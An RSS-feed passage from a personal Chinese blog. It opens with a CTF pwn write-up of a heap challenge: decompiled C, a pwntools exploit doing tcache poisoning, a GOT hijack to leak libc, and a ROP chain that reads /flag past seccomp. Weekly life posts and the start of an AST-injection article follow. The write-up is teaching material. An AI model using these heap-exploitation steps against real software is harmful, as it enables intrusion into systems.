&lt;p&gt;&lt;code&gt;rewrite_book&lt;/code&gt; 漏洞点&lt;/p&gt;
&lt;p&gt;编辑一本书，但是注意到这里能够输入的内容为 &lt;code&gt;books[idx].size&lt;/code&gt; ,而这就意味着我们可以多输入 0x10 的内容（oob，即out-of-bounds）来实现 chunk overlap（因为上文分析道用户数据的长度事实上只有 &lt;code&gt;books[idx].size - 0x10&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 rewrite_book()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int idx; // [rsp+Ch] [rbp-14h] BYREF
  ssize_t v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts(&quot;\nAt which index of the shelf would you like to rewrite your book?&quot;);
  printf(&quot;Index: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;idx);
  getchar();
  if ( idx &amp;gt; 0 &amp;amp;&amp;amp; idx &amp;lt;= 10 &amp;amp;&amp;amp; slot[2 * idx - 2] )
  {
    --idx;
    puts(&quot;Write me the new contents of your book that is no longer than what it was before.&quot;);
    v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中
    v0 = (__int64 *)((char *)slot[2 * idx]-&amp;gt;buf + v4);
    v1 = qword_4040D8;
    *v0 = author_signature;
    v0[1] = v1;
    puts(&quot;Your book has been rewritten!\n&quot;);
  }
  else
  {
    puts(&quot;Invaid slot!&quot;);
  }
  return v5 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;throw_book&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;删除一本书，调用 &lt;code&gt;free&lt;/code&gt; 函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 throw_book()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(&quot;\nAt which index of the shelf would you like to throw your book?&quot;);
  printf(&quot;Index: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;v1);
  getchar();
  if ( v1 &amp;gt; 0 &amp;amp;&amp;amp; v1 &amp;lt;= 10 &amp;amp;&amp;amp; slot[2 * v1 - 2] )
  {
    free(slot[2 * --v1]);
    slot[2 * v1] = 0LL;
    puts(&quot;Your book has been thrown!\n&quot;);
  }
  else
  {
    puts(&quot;Invaid slot!&quot;);
  }
  return v2 - __readfsqword(0x28u);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题思路分析&lt;/p&gt;
&lt;p&gt;题目存在很明显的漏洞点，即利用oob可以实现overlap&lt;/p&gt;
&lt;p&gt;利用 &lt;code&gt;tcache poisoning&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;来计算下我们要怎么做到 &lt;code&gt;tcache poisioning&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;首先必须要两个 tcache，参照前面的示例（需要有一个tcache来修改指针指向）&lt;/li&gt;
&lt;li&gt;其次，我们不能直接改 chunk 指针（前面的示例是在源码呢所以可以直接改），所以还需要一个快来通过overlap来修改指针&lt;/li&gt;
&lt;li&gt;最后，为了达到 overlap 的目的，前面还需要一个块，通过oob溢出来实现overlap&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;malloc chunk&lt;/p&gt;
&lt;p&gt;连续申请4个chunk，4个chunk的目的分别为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;chunk1 泄露heap base addr + oob覆盖chunk2&lt;/li&gt;
&lt;li&gt;chunk2 修改 chunk3的next指针，实现 &lt;code&gt;tcache poisoning&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;chunk3 通过next指针获得一段可写的内存&lt;/li&gt;
&lt;li&gt;chunk4 用作 0x40 tcache的填充&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiaai3ujh3mo5j2zmybz73au7iqxsxobitxpjxrvvyxiboszg7o3qy.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;chunk1 oob to overlap&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;修改chunk1，oob修改chunk2的大小&lt;/li&gt;
&lt;li&gt;释放chunk4，填充到0x40 tcache&lt;/li&gt;
&lt;li&gt;chunk2的大小被修改为0x40，和 chunk3 实现overlap&lt;/li&gt;
&lt;li&gt;修改chunk2的内容，覆盖chunk3 的next指针&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibrtv5vcof3hmas2iqtdrzjwhamcpn7ahy3cxpieuc44a54mmg3tm.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;泄漏libc base&lt;/p&gt;
&lt;p&gt;books结构体的地址是固定的，地址为 &lt;code&gt;0x4040e0&lt;/code&gt; ，每个 book 结构体前 0x8 个字节存储这本书的 size ，另外 0x8 字节存储这本书在 chunk 地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifzpdbbiz3psewd4n3veg6izyf3m3v7tparl7grzoldvcvncz3blq.png&quot; alt=&quot;DraggedImage-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当我们获得任意地址写的时候，就可以针对 &lt;code&gt;0x4040e0&lt;/code&gt; 这个堆块去写入内容，再利用 &lt;code&gt;rewrite_book&lt;/code&gt; 来实现劫持got表泄露 &lt;code&gt;libc base addr&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们写入的内容为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    edit(1, pwn.flat([
             1==
            0xff,  sz
            exe.sym.stdout,  target
             2==
            0x8,  sz
            exe.got.free,  target
             3==
            0x8,  sz
            exe.sym.secret_msg,  target
             4==
            0xff,  sz
            exe.sym.books  target
        ] + [0] * 0x60, filler = b&quot;\x00&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;观察内存布局：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/40gx 0x4040e0
0x4040e0 &amp;lt;books&amp;gt;:       0x00000000000000ff      0x00000000004040a0
0x4040f0 &amp;lt;books+16&amp;gt;:    0x0000000000000008      0x0000000000404018
0x404100 &amp;lt;books+32&amp;gt;:    0x0000000000000008      0x00000000004040c0
0x404110 &amp;lt;books+48&amp;gt;:    0x00000000000000ff      0x00000000004040e0
0x404120 &amp;lt;books+64&amp;gt;:    0x0000000000000000      0x0000000000000000
0x404130 &amp;lt;books+80&amp;gt;:    0x0000000000000000      0x0000000000000000
0x404140 &amp;lt;books+96&amp;gt;:    0x0000000000000000      0x0000000000000000
0x404150 &amp;lt;books+112&amp;gt;:   0x0000000000000000      0x0000000000000000
0x404160 &amp;lt;books+128&amp;gt;:   0x0000000000000000      0x0000000000000000
0x404170 &amp;lt;books+144&amp;gt;:   0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们就可以理解为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一本书的内存地址为 &lt;code&gt;0x4040a0&lt;/code&gt;（实际上这个为 stdout 的got表） size 为 &lt;code&gt;0xff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第二本书的内存地址为 &lt;code&gt;0x404018&lt;/code&gt;（实际上这个为 free 的got表） size 为 &lt;code&gt;0xff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第三本书的内存地址为 &lt;code&gt;0x4040c0&lt;/code&gt; (实际上为  &lt;code&gt;secret_msg&lt;/code&gt; 的地址)，size 为 &lt;code&gt;0x8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第四本书的内存地址为 &lt;code&gt;0x4040e0&lt;/code&gt; （实际上我 &lt;code&gt;sym.books&lt;/code&gt; 的地址，方便我们二次写入，size 为 &lt;code&gt;0xff&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是可以劫持free的got表来实现打印 &lt;code&gt;stdout@got&lt;/code&gt; 表项，再通过确定的偏移泄露出 &lt;code&gt;libc base addr&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     free@got =&amp;gt; puts
    edit(2, b&quot;&quot;.join([
            pwn.p64(exe.sym.puts)
        ]))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibxtrkjmuscusn7mkglfhyrlui77xiblee5g3ny76qwr3z26bicli.png&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ROP绕过seccomp&lt;/p&gt;
&lt;p&gt;程序有 &lt;code&gt;seccomp&lt;/code&gt; 保护，只允许 &lt;code&gt;read&lt;/code&gt; 、 &lt;code&gt;write&lt;/code&gt; 、 &lt;code&gt;open&lt;/code&gt; 和 &lt;code&gt;exit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;于是我们需要通过向栈上写入ROP的方式来读flag，首先计算栈帧&lt;/p&gt;
&lt;p&gt;泄露环境变量地址来计算栈帧（注意第4本书我们之前设置了指向自身，因此可以反复编辑）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     leak stack (environ)
    edit(4, pwn.flat([
             1==
            0xff,  sz
            libc.sym.environ  target
        ], filler = b&quot;\x00&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;栈帧地址：也就是调用这个函数返回的ret地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicnd4w75u3dawjfvec47qjzlyqsw6fvphlvseb2vriawk74jikqzu.png&quot; alt=&quot;DraggedImage-5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获得栈帧地址后，使用 &lt;code&gt;pwntools&lt;/code&gt; 自带的 rop 模块来实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rop = pwn.ROP(libc, base=stackframe_rewrite)

 setup the write to the rewrite stackframe
edit(4, pwn.flat([
         1==
        0xff,  sz
        stackframe_rewrite  target
    ], filler = b&quot;\x00&quot;))

 ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY)  open
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100)  file descriptor bf ...
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100)  write
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
rop.exit(0x1337)
rop.raw(b&quot;/flag\x00&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EXP调试&lt;/p&gt;
&lt;p&gt;由于堆内存布局的原因，地址可能不一样，这里记录某次调试过程：&lt;/p&gt;
&lt;p&gt;分配4个chunk&lt;/p&gt;
&lt;p&gt;Book的结构如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicuub72hdfn3ooejj2dhm6qfii4dlwvibdnjcr56ytejt44vvofge.png&quot; alt=&quot;DraggedImage-6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;4个chunk的布局&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreie73xpmhg5a3arqnd3nh5u2yzvpqaojbrmk27xvdo5cx3ys445wte.png&quot; alt=&quot;DraggedImage-7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oob&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     chunk2 =&amp;gt; sz extended
    edit(1, b&quot;K&quot;*0x20)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时的chunk2大小已经被修改了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifkddwqzdcdopnqj3aus4ruuaxos3a34euwcq3ogdu465hfcr2dxm.png&quot; alt=&quot;DraggedImage-8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;tcache poisoning&lt;/p&gt;
&lt;p&gt;此时 &lt;code&gt;tcache3&lt;/code&gt; 的 next 指针已经被修改了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreic42ynv2fcmi354wyonqyeqm3eg5tpi5bsgjuqnpgu2cp3mikf4ze.png&quot; alt=&quot;DraggedImage-9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;任意地址写&lt;/p&gt;
&lt;p&gt;利用 &lt;code&gt;tcache poisioning&lt;/code&gt; 修改 books 的结构，布局如下，至此 &lt;code&gt;tcache poisoning&lt;/code&gt; 的利用就完成了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreig6t35ynspvbjyzsg4r7z5zmc5arqa22ybu5zzozpisvmyqne6spy.png&quot; alt=&quot;DraggedImage-10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考
&lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c&quot;&gt;how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreid7cs452h45ymng2w7renonn57xgp5zxlpe5kzsqzcqogmdhw5bk4.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报6 生活、句子、写作</title><link>https://rayepeng.net/posts/weekpost6/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost6/</guid><pubDate>Mon, 12 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报6 生活、句子、写作&lt;/p&gt;
&lt;p&gt;生活&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年，6.8-6.12这段时间的生活与记录&lt;/p&gt;
&lt;p&gt;回信&lt;/p&gt;
&lt;p&gt;蓝信封终于等到了回信啦~, 在一个周日的下午，阳光透过窗帘，打在雪白的桌子上，我正听着舒缓的歌曲，慢慢提起笔，写下对远方小孩的祝福&lt;/p&gt;
&lt;p&gt;surge&lt;/p&gt;
&lt;p&gt;最近又开始重新折腾起surge来了， 顺便研究了下如何破解看天下杂志的会员，折腾过程写在这里了，欢迎给个点赞&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.52pojie.cn/forum.php?mod=viewthread&amp;amp;tid=1796217&amp;amp;page=1pid46966807&quot;&gt;https://www.52pojie.cn/forum.php?mod=viewthread&amp;amp;tid=1796217&amp;amp;page=1pid46966807&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;pwn&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/12600&quot;&gt;https://xz.aliyun.com/t/12600&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;深入研究了一道 &lt;code&gt;tcache&lt;/code&gt; 缓存投毒的题目，解题及思考过程都记录在这篇文章啦&lt;/p&gt;
&lt;p&gt;英文写作&lt;/p&gt;
&lt;p&gt;第一次尝试英文写作，虽然有些磕磕绊绊，但终于完成了，开始慢慢积累medium的follow，希望看到的朋友支持下~&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68&quot;&gt;https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;句子&lt;/p&gt;
&lt;p&gt;云淡风轻近午天，傍花随柳过前川。
时人不识余心乐，将谓偷闲学少年。
—— 又是一句很喜欢的诗&lt;/p&gt;
&lt;p&gt;可能很多事就算是这样，在怔怔地看着一个既定结果时恍然，原来它一直在发生，只是自己没注意到&lt;/p&gt;
&lt;p&gt;—— 有点丧的一句话&lt;/p&gt;
&lt;p&gt;胡言乱语&lt;/p&gt;
&lt;p&gt;论原生家庭&lt;/p&gt;
&lt;p&gt;我觉得不应该叫原生家庭我，应该叫原生环境
不是你过去的家庭决定了你
而是你过去的环境决定了你&lt;/p&gt;
&lt;p&gt;深圳的雨&lt;/p&gt;
&lt;p&gt;不知为何，深圳的雨总是让人捉摸不定
比脾气最差的女朋友还难以把握
此刻我站在街道上，被雨打湿的头发，一滴水落下来&lt;/p&gt;
&lt;p&gt;《无声告白》&lt;/p&gt;
&lt;p&gt;我们终此一生，就是要摆脱他人的期待，找到真正的自己&lt;/p&gt;
&lt;p&gt;《可爱的诅咒》&lt;/p&gt;
&lt;p&gt;在我们小时候，对大人的愤怒感到恐惧，也对自己得不到爱感到恐惧，但我们又依赖于照顾我们的大人，面对他们的愤怒，我们几乎什么也做不了，唯一能控制的就是自己的行为，于是我们选择了遵守那些不合理的规则来保护自己。&lt;/p&gt;
&lt;p&gt;恐惧的记忆会留在我们大脑中一个叫杏仁体的部位，它是人脑的恐惧记忆中枢。当我们再遇到相似的情况时，杏仁体就会产生应激反应，让我们本能地去选择曾经的处理方式。&lt;/p&gt;
&lt;p&gt;杏仁体并没有什么时间概念，它不知道我们已经长大了，所以在感到恐惧的时候，我们的大脑基本处在一个孩子的状态，所以我们会本能地选择顺从，这就是可爱的诅咒难以打破的原因。&lt;/p&gt;
&lt;p&gt;论眼高手低&lt;/p&gt;
&lt;p&gt;大多数人高估了一年内他们能做的事，低估了十年内他们能做的事。&lt;/p&gt;
&lt;p&gt;很多时候，自己往往就会因为那么几十分钟被浪费了然后焦虑不已
其实，真正的坚持在于十年之期
不要焦虑于打翻的牛奶，随时准备后重新开始&lt;/p&gt;
&lt;p&gt;interesting things&lt;/p&gt;
&lt;p&gt;最近也开始经营起自己的 tg 频道了，日常分享一些文章及经验，欢迎 subscribe&lt;/p&gt;
&lt;p&gt;https://t.me/+4G9ohagz0iE1N2Q1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vickieli.medium.com/hacking-llms-with-prompt-injections-6a5ebffb182b&quot;&gt;https://vickieli.medium.com/hacking-llms-with-prompt-injections-6a5ebffb182b&lt;/a&gt; 这篇讲解LLM prompt injection的文章写的确实很棒，担当的起深入浅出这四个字&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kilimchoi/engineering-blogs&quot;&gt;https://github.com/kilimchoi/engineering-blogs&lt;/a&gt; 这个项目收录了一些互联网大公司的博客&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@neonforge/my-most-favourite-midjourney-prompts-and-images-works-best-with-midjourney-v5-63e86b125bba&quot;&gt;https://medium.com/@neonforge/my-most-favourite-midjourney-prompts-and-images-works-best-with-midjourney-v5-63e86b125bba&lt;/a&gt; 这个文章的MJ Prompt都很不错，还是要多多研究下mj的绘图技巧&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiaczpfmvwaxdmv2qun2qtlqee6cgr2yc677kowwxv6ltab2i3v2mm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报5 写作、生活</title><link>https://rayepeng.net/posts/weekpost5/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost5/</guid><pubDate>Wed, 07 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报5 写作、生活&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年，5.7-6.7这段时间的记录与思考。&lt;/p&gt;
&lt;p&gt;大概有好几两周没写自己的记录了，这其中也发生了很多事情，有些事情不便公开发出来，那我先把能发的都发了吧哈哈哈哈&lt;/p&gt;
&lt;p&gt;写作&lt;/p&gt;
&lt;p&gt;这周在自己的坚持不懈下，终于完成了两篇技术文章，不过还没有完全打磨完毕，我越来越觉得还得是给自己去设限，主动去逼迫自己，才能去客服拖延症。。&lt;/p&gt;
&lt;p&gt;比如我发现在自己要分享之前，如果文稿还没准备完，就会强迫自己努力去准备，而且思维特别灵活，能想尽一切办法&lt;/p&gt;
&lt;p&gt;其实拖延症无非几个问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不敢开始，总是在想&lt;/li&gt;
&lt;li&gt;完美强迫症，一定要做到某个完美的程度&lt;/li&gt;
&lt;li&gt;经常忘记&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;背后其实是三个根本性的问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;畏惧&lt;/li&gt;
&lt;li&gt;强迫&lt;/li&gt;
&lt;li&gt;遗忘&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是我开始这样给自己规定，&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把写作用的app（我最近在用的ulysses）放到最容易碰到的位置，并且禁止自己经常打开wechat或者其他消遣工具&lt;/li&gt;
&lt;li&gt;设立期限，假设两小时后我就要给别人讲这件事，我能不能讲清楚&lt;/li&gt;
&lt;li&gt;用ticktick提醒自己，并且直接把ticktick放在手机底部的dock栏&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;只要去改变，收获就是免不了的。我也很开心终于能解决这个顽疾了。不过还是那句话，贵在坚持&lt;/p&gt;
&lt;p&gt;胡言乱语&lt;/p&gt;
&lt;p&gt;初次之外，最近也有很多随笔类的感想，或者是触景生情，或者是偶然采撷，又或者是梦中所得，于是统统用备忘录记录下来，仿佛像个小孩在抓蝴蝶一样。当我回顾的时候，仿佛捕捉到了历史的空隙&lt;/p&gt;
&lt;p&gt;论流氓&lt;/p&gt;
&lt;p&gt;现在人是该流氓的时候不流氓，不该流氓的时候，“流氓”痞性暴露，面目可憎&lt;/p&gt;
&lt;p&gt;现代人的流氓痞性，乃事后流氓，明知自己已经痛失，无法弥补，还强赖，想通过耍流氓来获得，如泼妇骂街，如地上打滚&lt;/p&gt;
&lt;p&gt;我想学刘邦做一个真正的流氓&lt;/p&gt;
&lt;p&gt;何谓，真正的流氓？&lt;/p&gt;
&lt;p&gt;昔者，吕公开宴，名流云集。我敢道贺钱万，直入上位，吃喝谈笑间，面无愧色&lt;/p&gt;
&lt;p&gt;敢在大场面耍流氓，言谈间了无痕迹，这才是真正的流氓&lt;/p&gt;
&lt;p&gt;所谓魏晋风度，实乃高祖遗风而已&lt;/p&gt;
&lt;p&gt;没来由的焦虑&lt;/p&gt;
&lt;p&gt;深夜学习，有些焦虑，反思了下&lt;/p&gt;
&lt;p&gt;比如我刷b站，我发现我就不会焦虑，这是为什么？因为这是一个安全地带吗&lt;/p&gt;
&lt;p&gt;但是当我去学习的时候，我就会总是操心这个或者那个没有做完的，你不觉得奇怪吗。其实明明上床前就已经点清了自己要做的事情，后面只需要安心地去学习即可。&lt;/p&gt;
&lt;p&gt;这种感觉就是很奇怪对不对，你也说不出来，但是这是错误的，需要改正的&lt;/p&gt;
&lt;p&gt;一定要让一个你不熟悉的领域变成你的舒适区&lt;/p&gt;
&lt;p&gt;笑怼&lt;/p&gt;
&lt;p&gt;节选自《世说新语》&lt;/p&gt;
&lt;p&gt;王笑曰：‘卿辈意，亦复可败邪？&apos;”
—— 你一来，我们的兴致都被败坏了&lt;/p&gt;
&lt;p&gt;微信和米聊&lt;/p&gt;
&lt;p&gt;最近读到了一段雷军的思考&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当时小米刚刚成立，按照“硬件+软件+互联网”的“铁人三项1.0”模式，在做手机系统、筹备手机硬件团队的同时，小米在国内率先启动基于智能手机的即时消息项目“米聊”，一度获得显著的先发优势。当时我有个判断，如果腾讯在一年之内没有反应，米聊将有50%的胜算；如果半年之内有反应，米聊基本没机会。但结果，腾讯在一个月内就做出了反应，腾讯广研院迅速推出了微信，并获得了腾讯集团力量的大力支持。
凭借千万人同时在线的高并发后端技术沉淀和在社交关系链方面的优势，加上公司体量等综合资源的巨大优势，微信逐渐实现了对米聊的赶超。
小米作为一家初创小公司，无法同时支撑移动互联网即时消息和智能手机这两个千亿美元级市场的投入，于是我们放弃了米聊，把全部精力都投入智能手机领域。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们一直只在谈论微信对米聊的赶超，却从来没有谈论过，雷军对米聊的主动放弃&lt;/p&gt;
&lt;p&gt;所以这也解释了，为什么大部分人都无法从历史中学到经验教训。因为大家看到的都是成功者，都是幸存者，却从来没有想过“失败者”的抉择。&lt;/p&gt;
&lt;p&gt;“失败者”的抉择，往往是最重要的&lt;/p&gt;
&lt;p&gt;论教育&lt;/p&gt;
&lt;p&gt;最近读《世说新语》，学魏晋风度&lt;/p&gt;
&lt;p&gt;深感我们的教育现在太过严肃了，没有微笑&lt;/p&gt;
&lt;p&gt;你看看古人，一个个癫狂不羁，若要按照现在的教育评价体系，准保是一个天天被老师白眼+请家长的角，同学们也会刻意远离他&lt;/p&gt;
&lt;p&gt;仅仅因为不合时宜，就要被孤立，就要被白眼，就要被无情嘲讽，怪不得郑渊洁要把栏杆拍遍，无情揭露教育的罪恶。中国人不仅在“性”的联想上跳跃程度大，连贬损，毁灭一个人也是如此迅速&lt;/p&gt;
&lt;p&gt;《蒋公的面子》&lt;/p&gt;
&lt;p&gt;观后随笔（本来写的“观后感”这三个字，但是我很反感，我喜欢用“随笔“这两个字）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeib6xuj24uap7lk6fz6ziq6q2xpju3oeir4osbk5aussqge644cojy.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;人生处世，无外乎出世与入世之间，亦或居于二者之间，谁都不得罪。是成为御用文人，是选择魏晋风度，或愤而抗争到底，
却最终都在时代的裹挟中身不由己。可我们能怪他们吗，换作我们自己又有谁能做的更好呢？我们不是耐不住苏武牧羊得寂寞，亦非选择丹心垂青史的文天祥，更不是敢于为变法流血牺牲的谭嗣同。
我们终究只是历史中的小人物，在时代的推推搡搡中迎来自身平平无奇的结局&lt;/p&gt;
&lt;p&gt;历史“天命”的思考&lt;/p&gt;
&lt;p&gt;我随便敲点想法，最近看渤海小吏的视频，以及他对中国历史抽丝剥茧的解读，觉得有时候冥冥之中真的自有天命&lt;/p&gt;
&lt;p&gt;比如，同样是在汉中，历史上只有韩信一人能做到还定三秦，到了三国时期，武都大地震导致汉水上游改道，丞相北伐运粮门槛大大提高，最终星落五丈原
当我看完小吏这集的时候，真心感觉到历史仿佛真有一个天命所在，汉家的天下兴起于汉水，汉水中断，龙脉也断了，真是天要亡汉的感觉&lt;/p&gt;
&lt;p&gt;（类似这种还挺多的，当我真正跟着小吏的脚步去回味的时候，很多时候都会有这种感慨&lt;/p&gt;
&lt;p&gt;真正的送别&lt;/p&gt;
&lt;p&gt;其实真正的送别没有长亭古道，没有劝君更尽一杯酒，就是在一个和平时一样的清晨，有些人留在昨天了。&lt;/p&gt;
&lt;p&gt;生活&lt;/p&gt;
&lt;p&gt;6.3 夜游深圳湾&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihu4h4tfe6acwikx3to7wlp7bjo5owo6aunqfoe7zdcmo4urg7rha.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;interesting things&lt;/p&gt;
&lt;p&gt;最近也开始经营起自己的 tg 频道了，日常分享一些文章及经验，欢迎 subscribe&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://t.me/+4G9ohagz0iE1N2Q1&quot;&gt;https://t.me/+4G9ohagz0iE1N2Q1&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://link.medium.com/klyhSFNxoAb&quot;&gt;https://link.medium.com/klyhSFNxoAb&lt;/a&gt; 这篇讲LLM Prompt Injection安全问题的，拆解的很详细&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@arrheniuspaelongan09/my-first-bug-bounty-reward-100-in-5-min-1117d727dc2b&quot;&gt;https://medium.com/@arrheniuspaelongan09/my-first-bug-bounty-reward-100-in-5-min-1117d727dc2b&lt;/a&gt; 讲述作者发现的第一个安全漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihft7ivdtxyhxacj7ovlkjjzxrzkqw7idijkf5ifdgapoj6ylrc6m.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>AST Injection + Prototype pollution to RCE</title><link>https://rayepeng.net/posts/ast-injection/</link><guid isPermaLink="true">https://rayepeng.net/posts/ast-injection/</guid><pubDate>Sun, 04 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AST Injection + Prototype pollution to RCE&lt;/p&gt;
&lt;p&gt;模版引擎是什么&lt;/p&gt;
&lt;p&gt;JS web开发中常用的模版引擎如 &lt;code&gt;ejs&lt;/code&gt;、&lt;code&gt;pug&lt;/code&gt;、&lt;code&gt;handlebars&lt;/code&gt;
功能：动态渲染HTML代码，创建可重复使用的页面结构&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ejs&lt;/code&gt; 模版使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 安装EJS模块：npm install ejs

// 引入EJS模块
const ejs = require(&apos;ejs&apos;);

// 定义模板
const template = `
  &amp;lt;h1&amp;gt;Hello, &amp;lt;%= name %&amp;gt;!&amp;lt;/h1&amp;gt;
`;

// 渲染模板
const data = { name: &apos;John&apos; };
const html = ejs.render(template, data);

console.log(html);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;handlebars&lt;/code&gt; 模版使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 安装Handlebars模块：npm install handlebars

// 引入Handlebars模块
const handlebars = require(&apos;handlebars&apos;);

// 定义模板
const template = `
